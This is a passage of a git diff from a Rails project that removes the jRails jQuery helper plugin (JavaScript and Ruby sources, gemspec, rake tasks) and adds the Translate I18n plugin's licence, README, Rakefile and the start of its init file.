this[0]==l?document.compatMode=="CSS1Compat"&&document.documentElement["client"+G]||document.body["client"+G]:this[0]==document?Math.max(document.documentElement["client"+G],document.body["scroll"+G],document.documentElement["scroll"+G],document.body["offset"+G],document.documentElement["offset"+G]):K===g?(this.length?o.css(this[0],J):null):this.css(J,typeof K==="string"?K:K+"px")}})})(); \ No newline at end of file diff --git a/vendor/plugins/jrails/javascripts/jrails.js b/vendor/plugins/jrails/javascripts/jrails.js deleted file mode 100644 index 39aa4ecb..00000000 --- a/vendor/plugins/jrails/javascripts/jrails.js +++ /dev/null @@ -1 +0,0 @@ -(function($){$.ajaxSettings.accepts._default="text/javascript, text/html, application/xml, text/xml, */*"})(jQuery);(function($){$.fn.reset=function(){return this.each(function(){if(typeof this.reset=="function"||(typeof this.reset=="object"&&!this.reset.nodeType)){this.reset()}})};$.fn.enable=function(){return this.each(function(){this.disabled=false})};$.fn.disable=function(){return this.each(function(){this.disabled=true})}})(jQuery);(function($){$.extend({fieldEvent:function(el,obs){var field=el[0]||el,e="change";if(field.type=="radio"||field.type=="checkbox"){e="click"}else{if(obs&&(field.type=="text"||field.type=="textarea"||field.type=="password")){e="keyup"}}return e}});$.fn.extend({delayedObserver:function(delay,callback){var el=$(this);if(typeof window.delayedObserverStack=="undefined"){window.delayedObserverStack=[]}if(typeof window.delayedObserverCallback=="undefined"){window.delayedObserverCallback=function(stackPos){var observed=window.delayedObserverStack[stackPos];if(observed.timer){clearTimeout(observed.timer)}observed.timer=setTimeout(function(){observed.timer=null;observed.callback(observed.obj,observed.obj.formVal())},observed.delay*1000);observed.oldVal=observed.obj.formVal()}}window.delayedObserverStack.push({obj:el,timer:null,delay:delay,oldVal:el.formVal(),callback:callback});var stackPos=window.delayedObserverStack.length-1;if(el[0].tagName=="FORM"){$(":input",el).each(function(){var field=$(this);field.bind($.fieldEvent(field,delay),function(){var observed=window.delayedObserverStack[stackPos];if(observed.obj.formVal()==observed.oldVal){return}else{window.delayedObserverCallback(stackPos)}})})}else{el.bind($.fieldEvent(el,delay),function(){var observed=window.delayedObserverStack[stackPos];if(observed.obj.formVal()==observed.oldVal){return}else{window.delayedObserverCallback(stackPos)}})}},formVal:function(){var el=this[0];if(el.tagName=="FORM"){return this.serialize()}if(el.type=="checkbox"||el.type=="radio"){return this.filter("input:checked").val()||""}else{return this.val()}}})})(jQuery);(function($){$.fn.extend({visualEffect:function(o,options){if(options){speed=options.duration*1000}else{speed=null}e=o.replace(/\_(.)/g,function(m,l){return l.toUpperCase()});return eval("$(this)."+e+"("+speed+")")},appear:function(speed,callback){return this.fadeIn(speed,callback)},blindDown:function(speed,callback){return this.show("blind",{direction:"vertical"},speed,callback)},blindUp:function(speed,callback){return this.hide("blind",{direction:"vertical"},speed,callback)},blindRight:function(speed,callback){return this.show("blind",{direction:"horizontal"},speed,callback)},blindLeft:function(speed,callback){this.hide("blind",{direction:"horizontal"},speed,callback);return this},dropOut:function(speed,callback){return this.hide("drop",{direction:"down"},speed,callback)},dropIn:function(speed,callback){return this.show("drop",{direction:"up"},speed,callback)},fade:function(speed,callback){return this.fadeOut(speed,callback)},fadeToggle:function(speed,callback){return this.animate({opacity:"toggle"},speed,callback)},fold:function(speed,callback){return this.hide("fold",{},speed,callback)},foldOut:function(speed,callback){return this.show("fold",{},speed,callback)},grow:function(speed,callback){return this.show("scale",{},speed,callback)},highlight:function(speed,callback){return this.show("highlight",{},speed,callback)},puff:function(speed,callback){return this.hide("puff",{},speed,callback)},pulsate:function(speed,callback){return this.show("pulsate",{},speed,callback)},shake:function(speed,callback){return this.show("shake",{},speed,callback)},shrink:function(speed,callback){return this.hide("scale",{},speed,callback)},squish:function(speed,callback){return this.hide("scale",{origin:["top","left"]},speed,callback)},slideUp:function(speed,callback){return this.hide("slide",{direction:"up"},speed,callback)},slideDown:function(speed,callback){return this.show("slide",{direction:"up"},speed,callback)},switchOff:function(speed,callback){return this.hide("clip",{},speed,callback)},switchOn:function(speed,callback){return this.show("clip",{},speed,callback)}})})(jQuery); \ No newline at end of file diff --git a/vendor/plugins/jrails/javascripts/sources/jrails.js b/vendor/plugins/jrails/javascripts/sources/jrails.js deleted file mode 100644 index dc697eec..00000000 --- a/vendor/plugins/jrails/javascripts/sources/jrails.js +++ /dev/null @@ -1,197 +0,0 @@ -/* -* -* jRails ajax extras -* version 0.1 -* | http://www.ennerchi.com -* -*/ - -(function($) { - $.ajaxSettings.accepts._default = "text/javascript, text/html, application/xml, text/xml, */*"; -})(jQuery); - - -/* -* -* jRails form extras -* | http://www.ennerchi.com -* -*/ - - -(function($) { - // reset a form - $.fn.reset = function() { - return this.each(function() { - // guard against an input with the name of 'reset' - // note that IE reports the reset function as an 'object' - if (typeof this.reset == 'function' || (typeof this.reset == 'object' && !this.reset.nodeType)) - this.reset(); - }); - }; - // enable a form element - $.fn.enable = function() { - return this.each(function() { - this.disabled = false; - }); - }; - // disable a form element - $.fn.disable = function() { - return this.each(function() { - this.disabled = true; - }); - }; - -})(jQuery); - -/* -* -* jRails form observer plugin -* version 0.2 -* | http://www.ennerchi.com -* -*/ - -(function($) { - $.extend({ // Translate field to event - fieldEvent: function(el, obs) { - var field = el[0] || el, e = 'change'; - if (field.type == 'radio' || field.type == 'checkbox') e = 'click'; - else if (obs && (field.type == 'text' || field.type == 'textarea' || field.type == 'password')) e = 'keyup'; - return e; - } - }); - $.fn.extend({ // Delayed observer for fields and forms - delayedObserver: function(delay, callback){ - var el = $(this); - if (typeof window.delayedObserverStack == 'undefined') window.delayedObserverStack = []; - if (typeof window.delayedObserverCallback == 'undefined') { - window.delayedObserverCallback = function(stackPos) { - var observed = window.delayedObserverStack[stackPos]; - if (observed.timer) clearTimeout(observed.timer); - observed.timer = setTimeout(function(){ - observed.timer = null; - observed.callback(observed.obj, observed.obj.formVal()); - }, observed.delay * 1000); - observed.oldVal = observed.obj.formVal(); - }; - } - window.delayedObserverStack.push({ - obj: el, timer: null, delay: delay, - oldVal: el.formVal(), callback: callback - }); - var stackPos = window.delayedObserverStack.length-1; - if (el[0].tagName == 'FORM') { - $(':input', el).each(function(){ - var field = $(this); - field.bind($.fieldEvent(field, delay), function(){ - var observed = window.delayedObserverStack[stackPos]; - if (observed.obj.formVal() == observed.oldVal) return; - else window.delayedObserverCallback(stackPos); - }); - }); - } else { - el.bind($.fieldEvent(el, delay), function(){ - var observed = window.delayedObserverStack[stackPos]; - if (observed.obj.formVal() == observed.oldVal) return; - else window.delayedObserverCallback(stackPos); - }); - }; - }, - formVal: function() { // Gets form values - var el = this[0]; - if(el.tagName == 'FORM') return this.serialize(); - if(el.type == 'checkbox' || el.type == 'radio') return this.filter('input:checked').val() || ''; - else return this.val(); - } - }); -})(jQuery); - -/* -* -* jRails visual effects stubs -* version 0.2 -* | http://www.ennerchi.com -* -*/ - -(function($) { - $.fn.extend({ - visualEffect : function(o, options) { - if (options) { - speed = options.duration * 1000; - } else { - speed = null; - } - e = o.replace(/\_(.)/g, function(m, l){return l.toUpperCase()}); - return eval('$(this).'+e+'('+ speed + ')'); - }, - appear : function(speed, callback) { - return this.fadeIn(speed, callback); - }, - blindDown : function(speed, callback) { - return this.show('blind', { direction: 'vertical' }, speed, callback); - }, - blindUp : function(speed, callback) { - return this.hide('blind', { direction: 'vertical' }, speed, callback); - }, - blindRight : function(speed, callback) { - return this.show('blind', { direction: 'horizontal' }, speed, callback); - }, - blindLeft : function(speed, callback) { - this.hide('blind', { direction: 'horizontal' }, speed, callback); - return this; - }, - dropOut : function(speed, callback) { - return this.hide('drop', {direction: 'down' }, speed, callback); - }, - dropIn : function(speed, callback) { - return this.show('drop', { direction: 'up' }, speed, callback); - }, - fade : function(speed, callback) { - return this.fadeOut(speed, callback); - }, - fadeToggle : function(speed, callback) { - return this.animate({opacity: 'toggle'}, speed, callback); - }, - fold : function(speed, callback) { - return this.hide('fold', {}, speed, callback); - }, - foldOut : function(speed, callback) { - return this.show('fold', {}, speed, callback); - }, - grow : function(speed, callback) { - return this.show('scale', {}, speed, callback); - }, - highlight : function(speed, callback) { - return this.show('highlight', {}, speed, callback); - }, - puff : function(speed, callback) { - return this.hide('puff', {}, speed, callback); - }, - pulsate : function(speed, callback) { - return this.show('pulsate', {}, speed, callback); - }, - shake : function(speed, callback) { - return this.show('shake', {}, speed, callback); - }, - shrink : function(speed, callback) { - return this.hide('scale', {}, speed, callback); - }, - squish : function(speed, callback) { - return this.hide('scale', { origin: ['top', 'left'] }, speed, callback); - }, - slideUp : function(speed, callback) { - return this.hide('slide', { direction: 'up'}, speed, callback); - }, - slideDown : function(speed, callback) { - return this.show('slide', { direction: 'up'}, speed, callback); - }, - switchOff : function(speed, callback) { - return this.hide('clip', {}, speed, callback); - }, - switchOn : function(speed, callback) { - return this.show('clip', {}, speed, callback); - } - }); -})(jQuery); diff --git a/vendor/plugins/jrails/jrails.gemspec b/vendor/plugins/jrails/jrails.gemspec deleted file mode 100644 index c68bc7ed..00000000 --- a/vendor/plugins/jrails/jrails.gemspec +++ /dev/null @@ -1,50 +0,0 @@ -# Generated by jeweler -# DO NOT EDIT THIS FILE -# Instead, edit Jeweler::Tasks in Rakefile, and run `rake gemspec` -# -*- encoding: utf-8 -*- - -Gem::Specification.new do |s| - s.name = %q{jrails} - s.version = "0.5.1" - - s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= - s.authors = ["Aaron Eisenberger", "Patrick Hurley"] - s.date = %q{2009-08-07} - s.default_executable = %q{jrails} - s.description = %q{Using jRails, you can get all of the same default Rails helpers for javascript functionality using the lighter jQuery library.} - s.email = %q{aaronchi@gmail.com} - s.executables = ["jrails"] - s.extra_rdoc_files = [ - "CHANGELOG", - "LICENSE", - "README.rdoc" - ] - s.files = [ - "bin/jrails", - "init.rb", - "install.rb", - "javascripts/jquery-ui.js", - "javascripts/jquery.js", - "javascripts/jrails.js", - "javascripts/sources/jrails.js", - "lib/jrails.rb", - "rails/init.rb", - "tasks/jrails.rake" - ] - s.homepage = %q{http://ennerchi.com/projects/jrails} - s.rdoc_options = ["--charset=UTF-8"] - s.require_paths = ["lib"] - s.rubyforge_project = %q{jrails} - s.rubygems_version = %q{1.3.5} - s.summary = %q{jRails is a drop-in jQuery replacement for the Rails Prototype/script.aculo.us helpers.} - - if s.respond_to? :specification_version then - current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION - s.specification_version = 3 - - if Gem::Version.new(Gem::RubyGemsVersion) >= Gem::Version.new('1.2.0') then - else - end - else - end -end diff --git a/vendor/plugins/jrails/lib/jrails.rb b/vendor/plugins/jrails/lib/jrails.rb deleted file mode 100644 index 9222cfe2..00000000 --- a/vendor/plugins/jrails/lib/jrails.rb +++ /dev/null @@ -1,421 +0,0 @@ -module ActionView - module Helpers - - module JavaScriptHelper - - # This function can be used to render rjs inline - # - # <%= javascript_function do |page| - # page.replace_html :list, :partial => 'list', :object => @list - # end %> - # - def javascript_function(*args, &block) - html_options = args.extract_options! - function = args[0] || '' - - html_options.symbolize_keys! - function = update_page(&block) if block_given? - javascript_tag(function) - end - - def jquery_id(id) - id.to_s.count('#.*,>+~:[/ ') == 0 ? "##{id}" : id - end - - def jquery_ids(ids) - Array(ids).map{|id| jquery_id(id)}.join(',') - end - - end - - module PrototypeHelper - - USE_PROTECTION = const_defined?(:DISABLE_JQUERY_FORGERY_PROTECTION) ? !DISABLE_JQUERY_FORGERY_PROTECTION : true - - unless const_defined? :JQUERY_VAR - JQUERY_VAR = 'jQuery' - end - - unless const_defined? :JQCALLBACKS - JQCALLBACKS = Set.new([ :beforeSend, :complete, :error, :success ] + (100..599).to_a) - #instance_eval { remove_const :AJAX_OPTIONS } - remove_const(:AJAX_OPTIONS) if const_defined?(:AJAX_OPTIONS) - AJAX_OPTIONS = Set.new([ :before, :after, :condition, :url, - :asynchronous, :method, :insertion, :position, - :form, :with, :update, :script ]).merge(JQCALLBACKS) - end - - def periodically_call_remote(options = {}) - frequency = options[:frequency] || 10 # every ten seconds by default - code = "setInterval(function() {#{remote_function(options)}}, #{frequency} * 1000)" - javascript_tag(code) - end - - def remote_function(options) - javascript_options = options_for_ajax(options) - - update = '' - if options[:update] && options[:update].is_a?(Hash) - update = [] - update << "success:'#{options[:update][:success]}'" if options[:update][:success] - update << "failure:'#{options[:update][:failure]}'" if options[:update][:failure] - update = '{' + update.join(',') + '}' - elsif options[:update] - update << "'#{options[:update]}'" - end - - function = "#{JQUERY_VAR}.ajax(#{javascript_options})" - - function = "#{options[:before]}; #{function}" if options[:before] - function = "#{function}; #{options[:after]}" if options[:after] - function = "if (#{options[:condition]}) { #{function}; }" if options[:condition] - function = "if (confirm('#{escape_javascript(options[:confirm])}')) { #{function}; }" if options[:confirm] - return function - end - - class JavaScriptGenerator - module GeneratorMethods - - def insert_html(position, id, *options_for_render) - insertion = position.to_s.downcase - insertion = 'append' if insertion == 'bottom' - insertion = 'prepend' if insertion == 'top' - call "#{JQUERY_VAR}(\"#{jquery_id(id)}\").#{insertion}", render(*options_for_render) - end - - def replace_html(id, *options_for_render) - insert_html(:html, id, *options_for_render) - end - - def replace(id, *options_for_render) - call "#{JQUERY_VAR}(\"#{jquery_id(id)}\").replaceWith", render(*options_for_render) - end - - def remove(*ids) - call "#{JQUERY_VAR}(\"#{jquery_ids(ids)}\").remove" - end - - def show(*ids) - call "#{JQUERY_VAR}(\"#{jquery_ids(ids)}\").show" - end - - def hide(*ids) - call "#{JQUERY_VAR}(\"#{jquery_ids(ids)}\").hide" - end - - def toggle(*ids) - call "#{JQUERY_VAR}(\"#{jquery_ids(ids)}\").toggle" - end - - def jquery_id(id) - id.to_s.count('#.*,>+~:[/ ') == 0 ? "##{id}" : id - end - - def jquery_ids(ids) - Array(ids).map{|id| jquery_id(id)}.join(',') - end - - end - end - - protected - def options_for_ajax(options) - js_options = build_callbacks(options) - - url_options = options[:url] - url_options = url_options.merge(:escape => false) if url_options.is_a?(Hash) - js_options['url'] = "'#{url_for(url_options)}'" - js_options['async'] = false if options[:type] == :synchronous - js_options['type'] = options[:method] ? method_option_to_s(options[:method]) : ( options[:form] ? "'post'" : nil ) - js_options['dataType'] = options[:datatype] ? "'#{options[:datatype]}'" : (options[:update] ? nil : "'script'") - - if options[:form] - js_options['data'] = "#{JQUERY_VAR}.param(#{JQUERY_VAR}(this).serializeArray())" - elsif options[:submit] - js_options['data'] = "#{JQUERY_VAR}(\"##{options[:submit]} :input\").serialize()" - elsif options[:with] - js_options['data'] = options[:with].gsub("Form.serialize(this.form)","#{JQUERY_VAR}.param(#{JQUERY_VAR}(this.form).serializeArray())") - end - - js_options['type'] ||= "'post'" - if options[:method] - if method_option_to_s(options[:method]) == "'put'" || method_option_to_s(options[:method]) == "'delete'" - js_options['type'] = "'post'" - if js_options['data'] - js_options['data'] << " + '&" - else - js_options['data'] = "'" - end - js_options['data'] << "_method=#{options[:method]}'" - end - end - - if USE_PROTECTION && respond_to?('protect_against_forgery?') && protect_against_forgery? - if js_options['data'] - js_options['data'] << " + '&" - else - js_options['data'] = "'" - end - js_options['data'] << "#{request_forgery_protection_token}=' + encodeURIComponent('#{escape_javascript form_authenticity_token}')" - end - js_options['data'] = "''" if js_options['type'] == "'post'" && js_options['data'].nil? - options_for_javascript(js_options.reject {|key, value| value.nil?}) - end - - def build_update_for_success(html_id, insertion=nil) - insertion = build_insertion(insertion) - "#{JQUERY_VAR}('#{jquery_id(html_id)}').#{insertion}(request);" - end - - def build_update_for_error(html_id, insertion=nil) - insertion = build_insertion(insertion) - "#{JQUERY_VAR}('#{jquery_id(html_id)}').#{insertion}(request.responseText);" - end - - def build_insertion(insertion) - insertion = insertion ? insertion.to_s.downcase : 'html' - insertion = 'append' if insertion == 'bottom' - insertion = 'prepend' if insertion == 'top' - insertion - end - - def build_observer(klass, name, options = {}) - if options[:with] && (options[:with] !~ /[\{=(.]/) - options[:with] = "'#{options[:with]}=' + value" - else - options[:with] ||= 'value' unless options[:function] - end - - callback = options[:function] || remote_function(options) - javascript = "#{JQUERY_VAR}('#{jquery_id(name)}').delayedObserver(" - javascript << "#{options[:frequency] || 0}, " - javascript << "function(element, value) {" - javascript << "#{callback}}" - #javascript << ", '#{options[:on]}'" if options[:on] - javascript << ")" - javascript_tag(javascript) - end - - def build_callbacks(options) - callbacks = {} - options[:beforeSend] = ''; - [:uninitialized,:loading].each do |key| - options[:beforeSend] << (options[key].last == ';' ? options.delete(key) : options.delete(key) << ';') if options[key] - end - options.delete(:beforeSend) if options[:beforeSend].blank? - options[:complete] = options.delete(:loaded) if options[:loaded] - options[:error] = options.delete(:failure) if options[:failure] - if options[:update] - if options[:update].is_a?(Hash) - options[:update][:error] = options[:update].delete(:failure) if options[:update][:failure] - if options[:update][:success] - options[:success] = build_update_for_success(options[:update][:success], options[:position]) << (options[:success] ? options[:success] : '') - end - if options[:update][:error] - options[:error] = build_update_for_error(options[:update][:error], options[:position]) << (options[:error] ? options[:error] : '') - end - else - options[:success] = build_update_for_success(options[:update], options[:position]) << (options[:success] ? options[:success] : '') - end - end - options.each do |callback, code| - if JQCALLBACKS.include?(callback) - callbacks[callback] = "function(request){#{code}}" - end - end - callbacks - end - - end - - class JavaScriptElementProxy < JavaScriptProxy #:nodoc: - - unless const_defined? :JQUERY_VAR - JQUERY_VAR = PrototypeHelper::JQUERY_VAR - end - - def initialize(generator, id) - id = id.to_s.count('#.*,>+~:[/ ') == 0 ? "##{id}" : id - @id = id - super(generator, "#{JQUERY_VAR}(\"#{id}\")") - end - - def replace_html(*options_for_render) - call 'html', @generator.send(:render, *options_for_render) - end - - def replace(*options_for_render) - call 'replaceWith', @generator.send(:render, *options_for_render) - end - - def reload(options_for_replace={}) - replace(options_for_replace.merge({ :partial => @id.to_s.sub(/^#/,'') })) - end - - def value() - call 'val()' - end - - def value=(value) - call 'val', value - end - - end - - class JavaScriptElementCollectionProxy < JavaScriptCollectionProxy #:nodoc:\ - - unless const_defined? :JQUERY_VAR - JQUERY_VAR = PrototypeHelper::JQUERY_VAR - end - - def initialize(generator, pattern) - super(generator, "#{JQUERY_VAR}(#{pattern.to_json})") - end - end - - module ScriptaculousHelper - - unless const_defined? :JQUERY_VAR - JQUERY_VAR = PrototypeHelper::JQUERY_VAR - end - - unless const_defined? :SCRIPTACULOUS_EFFECTS - SCRIPTACULOUS_EFFECTS = { - :appear => {:method => 'fadeIn'}, - :blind_down => {:method => 'blind', :mode => 'show', :options => {:direction => 'vertical'}}, - :blind_up => {:method => 'blind', :mode => 'hide', :options => {:direction => 'vertical'}}, - :blind_right => {:method => 'blind', :mode => 'show', :options => {:direction => 'horizontal'}}, - :blind_left => {:method => 'blind', :mode => 'hide', :options => {:direction => 'horizontal'}}, - :bounce_in => {:method => 'bounce', :mode => 'show', :options => {:direction => 'up'}}, - :bounce_out => {:method => 'bounce', :mode => 'hide', :options => {:direction => 'up'}}, - :drop_in => {:method => 'drop', :mode => 'show', :options => {:direction => 'up'}}, - :drop_out => {:method => 'drop', :mode => 'hide', :options => {:direction => 'down'}}, - :fade => {:method => 'fadeOut'}, - :fold_in => {:method => 'fold', :mode => 'hide'}, - :fold_out => {:method => 'fold', :mode => 'show'}, - :grow => {:method => 'scale', :mode => 'show'}, - :shrink => {:method => 'scale', :mode => 'hide'}, - :slide_down => {:method => 'slide', :mode => 'show', :options => {:direction => 'up'}}, - :slide_up => {:method => 'slide', :mode => 'hide', :options => {:direction => 'up'}}, - :slide_right => {:method => 'slide', :mode => 'show', :options => {:direction => 'left'}}, - :slide_left => {:method => 'slide', :mode => 'hide', :options => {:direction => 'left'}}, - :squish => {:method => 'scale', :mode => 'hide', :options => {:origin => "['top','left']"}}, - :switch_on => {:method => 'clip', :mode => 'show', :options => {:direction => 'vertical'}}, - :switch_off => {:method => 'clip', :mode => 'hide', :options => {:direction => 'vertical'}}, - :toggle_appear => {:method => 'fadeToggle'}, - :toggle_slide => {:method => 'slide', :mode => 'toggle', :options => {:direction => 'up'}}, - :toggle_blind => {:method => 'blind', :mode => 'toggle', :options => {:direction => 'vertical'}}, - } - end - - def visual_effect(name, element_id = false, js_options = {}) - element = element_id ? element_id : "this" - - if SCRIPTACULOUS_EFFECTS.has_key? name.to_sym - effect = SCRIPTACULOUS_EFFECTS[name.to_sym] - name = effect[:method] - mode = effect[:mode] - js_options = js_options.merge(effect[:options]) if effect[:options] - end - - [:color, :direction, :startcolor, :endcolor].each do |option| - js_options[option] = "'#{js_options[option]}'" if js_options[option] - end - - if js_options.has_key? :duration - speed = js_options.delete :duration - speed = (speed * 1000).to_i unless speed.nil? - else - speed = js_options.delete :speed - end - - if ['fadeIn','fadeOut','fadeToggle'].include?(name) - javascript = "#{JQUERY_VAR}('#{jquery_id(element_id)}').#{name}(" - javascript << "#{speed}" unless speed.nil? - javascript << ");" - else - javascript = "#{JQUERY_VAR}('#{jquery_id(element_id)}').#{mode || 'effect'}('#{name}'" - javascript << ",#{options_for_javascript(js_options)}" unless speed.nil? && js_options.empty? - javascript << ",#{speed}" unless speed.nil? - javascript << ");" - end - - end - - def sortable_element_js(element_id, options = {}) #:nodoc: - #convert similar attributes - options[:handle] = ".#{options[:handle]}" if options[:handle] - if options[:tag] || options[:only] - options[:items] = "> " - options[:items] << options.delete(:tag) if options[:tag] - options[:items] << ".#{options.delete(:only)}" if options[:only] - end - options[:connectWith] = options.delete(:containment).map {|x| "##{x}"} if options[:containment] - options[:containment] = options.delete(:container) if options[:container] - options[:dropOnEmpty] = false unless options[:dropOnEmpty] - options[:helper] = "'clone'" if options[:ghosting] == true - options[:axis] = case options.delete(:constraint) - when "vertical", :vertical - "y" - when "horizontal", :horizontal - "x" - when false - nil - when nil - "y" - end - options.delete(:axis) if options[:axis].nil? - options.delete(:overlap) - options.delete(:ghosting) - - if options[:onUpdate] || options[:url] - if options[:format] - options[:with] ||= "#{JQUERY_VAR}(this).sortable('serialize',{key:'#{element_id}[]', expression:#{options[:format]}})" - options.delete(:format) - else - options[:with] ||= "#{JQUERY_VAR}(this).sortable('serialize',{key:'#{element_id}[]'})" - end - - options[:onUpdate] ||= "function(){" + remote_function(options) + "}" - end - - options.delete_if { |key, value| PrototypeHelper::AJAX_OPTIONS.include?(key) } - options[:update] = options.delete(:onUpdate) if options[:onUpdate] - - [:axis, :cancel, :containment, :cursor, :handle, :tolerance, :items, :placeholder].each do |option| - options[option] = "'#{options[option]}'" if options[option] - end - - options[:connectWith] = array_or_string_for_javascript(options[:connectWith]) if options[:connectWith] - - %(#{JQUERY_VAR}('#{jquery_id(element_id)}').sortable(#{options_for_javascript(options)});) - end - - def draggable_element_js(element_id, options = {}) - %(#{JQUERY_VAR}("#{jquery_id(element_id)}").draggable(#{options_for_javascript(options)});) - end - - def drop_receiving_element_js(element_id, options = {}) - #convert similar options - options[:hoverClass] = options.delete(:hoverclass) if options[:hoverclass] - options[:drop] = options.delete(:onDrop) if options[:onDrop] - - if options[:drop] || options[:url] - options[:with] ||= "'id=' + encodeURIComponent(#{JQUERY_VAR}(ui.draggable).attr('id'))" - options[:drop] ||= "function(ev, ui){" + remote_function(options) + "}" - end - - options.delete_if { |key, value| PrototypeHelper::AJAX_OPTIONS.include?(key) } - - options[:accept] = array_or_string_for_javascript(options[:accept]) if options[:accept] - [:activeClass, :hoverClass, :tolerance].each do |option| - options[option] = "'#{options[option]}'" if options[option] - end - - %(#{JQUERY_VAR}('#{jquery_id(element_id)}').droppable(#{options_for_javascript(options)});) - end - - end - - end -end diff --git a/vendor/plugins/jrails/rails/init.rb b/vendor/plugins/jrails/rails/init.rb deleted file mode 100644 index 80a90ef8..00000000 --- a/vendor/plugins/jrails/rails/init.rb +++ /dev/null @@ -1,15 +0,0 @@ -# The following options can be changed by creating an initializer in config/initializers/jrails.rb - -# jRails uses jQuery.noConflict() by default -# to use the default jQuery varibale, use: -# ActionView::Helpers::PrototypeHelper::JQUERY_VAR = '$' - -# ActionView::Helpers::PrototypeHelper:: DISABLE_JQUERY_FORGERY_PROTECTION -# Set this to disable forgery protection in ajax calls -# This is handy if you want to use caching with ajax by injecting the forgery token via another means -# for an example, see http://henrik.nyh.se/2008/05/rails-authenticity-token-with-jquery -# ActionView::Helpers::PrototypeHelper::DISABLE_JQUERY_FORGERY_PROTECTION = true - -ActionView::Helpers::AssetTagHelper::JAVASCRIPT_DEFAULT_SOURCES = ['jquery','jquery-ui','jrails'] -ActionView::Helpers::AssetTagHelper::reset_javascript_include_default -require 'jrails' diff --git a/vendor/plugins/jrails/tasks/jrails.rake b/vendor/plugins/jrails/tasks/jrails.rake deleted file mode 100644 index b91d82be..00000000 --- a/vendor/plugins/jrails/tasks/jrails.rake +++ /dev/null @@ -1,25 +0,0 @@ -namespace :jrails do - - namespace :js do - desc "Copies the jQuery and jRails javascripts to public/javascripts" - task :install do - puts "Copying files..." - project_dir = RAILS_ROOT + '/public/javascripts/' - scripts = Dir[File.join(File.dirname(__FILE__), '..', '/javascripts/', '*.js')] - FileUtils.cp(scripts, project_dir) - puts "files copied successfully." - end - - desc 'Remove the prototype / script.aculo.us javascript files' - task :scrub do - puts "Removing files..." - files = %W[controls.js dragdrop.js effects.js prototype.js] - project_dir = File.join(RAILS_ROOT, 'public', 'javascripts') - files.each do |fname| - FileUtils.rm(File.join(project_dir, fname)) if File.exists?(File.join(project_dir, fname)) - end - puts "files removed successfully." - end - end - -end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/MIT-LICENSE b/vendor/plugins/translate/MIT-LICENSE old mode 100755 new mode 100644 similarity index 89% rename from vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/MIT-LICENSE rename to vendor/plugins/translate/MIT-LICENSE index ed8e9ee6..9376605b --- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/MIT-LICENSE +++ b/vendor/plugins/translate/MIT-LICENSE @@ -1,4 +1,4 @@ -Copyright (c) 2008 The Ruby I18n team +Copyright (c) 2009 [name of plugin creator] Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the @@ -17,4 +17,4 @@ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/plugins/translate/README b/vendor/plugins/translate/README new file mode 100644 index 00000000..e2732dc9 --- /dev/null +++ b/vendor/plugins/translate/README @@ -0,0 +1,63 @@ +Translate +========= + +This plugin provides a web interface for translating Rails I18n texts (requires Rails 2.2 or higher) from one locale to another. The plugin has been tested only with the simple I18n backend that ships with Rails. I18n texts are read from and written to YAML files under config/locales. + +To translate to a new locale you need to add a YAML file for that locale that contains the locale as the top key and at least one translation. + +Please note that there are certain I18n keys that map to Array objects rather than strings and those are currently not dealt with by the translation UI. This means that Rails built in keys such as date.day_names need to be translated manually directly in the YAML file. + +To get the translation UI to write the YAML files in UTF8 you need to install the ya2yaml gem. + +The translation UI finds all I18n keys by extracting them from I18n lookups in your application source code. In addition it adds all :en and default locale keys from the I18n backend. + +- Updated: Each string in the UI now has an "Auto Translate" link which will send the original text to Google Translate and will input the returned translation into the form field for further clean up and review prior to saving. + + +Rake Tasks +========= + +In addition to the web UI this plugin adds the following rake tasks: + +translate:untranslated +translate:missing +translate:remove_obsolete_keys +translate:merge_keys +translate:google +translate:changed + +The missing task shows you any I18n keys in your code that do not have translations in the YAML file for your default locale, i.e. config/locales/sv.yml. + +The merge_keys task is supposed to be used in conjunction with Sven Fuch's Rails I18n TextMate bundle (http://github.com/svenfuchs/rails-i18n/tree/master). Texts and keys extracted with the TextMate bundle end up in the temporary file log/translations.yml. When you run the merge_keys rake task the keys are moved over to the corresponding I18n locale file, i.e. config/locales/sv.yml. The merge_keys task also checks for overwrites of existing keys by warning you that one of your extracted keys already exists with a different translation. + +The google task is used for auto translating from one locale to another using Google Translate. + +The changed rake task can show you between one YAML file to another which keys have had their texts changed. + +Installation +========= +Obtain the source with: + +./script/plugin install git://github.com/newsdesk/translate.git + +To mount the plugin, add the following to your config/routes.rb file: + +Translate::Routes.translation_ui(map) if RAILS_ENV != "production" + +Now visit /translate in your web browser to start translating. + +Dependencies +========= + +- Rails 2.2 or higher +- The ya2yaml gem if you want your YAML files written in UTF8 encoding. + +Authors +========= + +- Peter Marklund (programming) +- Joakim Westerlund (web design) + +Many thanks to http://newsdesk.se for sponsoring the development of this plugin. + +Copyright (c) 2009 Peter Marklund, released under the MIT license diff --git a/vendor/plugins/translate/Rakefile b/vendor/plugins/translate/Rakefile new file mode 100644 index 00000000..7e1954b7 --- /dev/null +++ b/vendor/plugins/translate/Rakefile @@ -0,0 +1,11 @@ +require 'rake' +require 'spec/rake/spectask' + +desc 'Default: run specs.' +task :default => :spec + +desc 'Run the specs' +Spec::Rake::SpecTask.new(:spec) do |t| + t.spec_opts = ['--colour --format progress --loadby mtime --reverse'] + t.spec_files = FileList['spec/**/*_spec.rb'] +end diff --git a/vendor/plugins/translate/init.rb b/vendor/plugins/translate/init.rb new file mode 100644 index 00000000..18707f83 --- /dev/null +++ b/vendor/plugins/translate/init.rb @@ -0,0 +1,8 @@ +require 'translate' + +# TODO: Use new method available_locales once Rails is upgraded, see: +# http://github.com/svenfuchs/i18n/commit/411f8fe7c8f3f89e9b6b921fa62ed66cb92f3af4 +def I18n.valid_locales + I18n.backend.send(:init_translations) unless 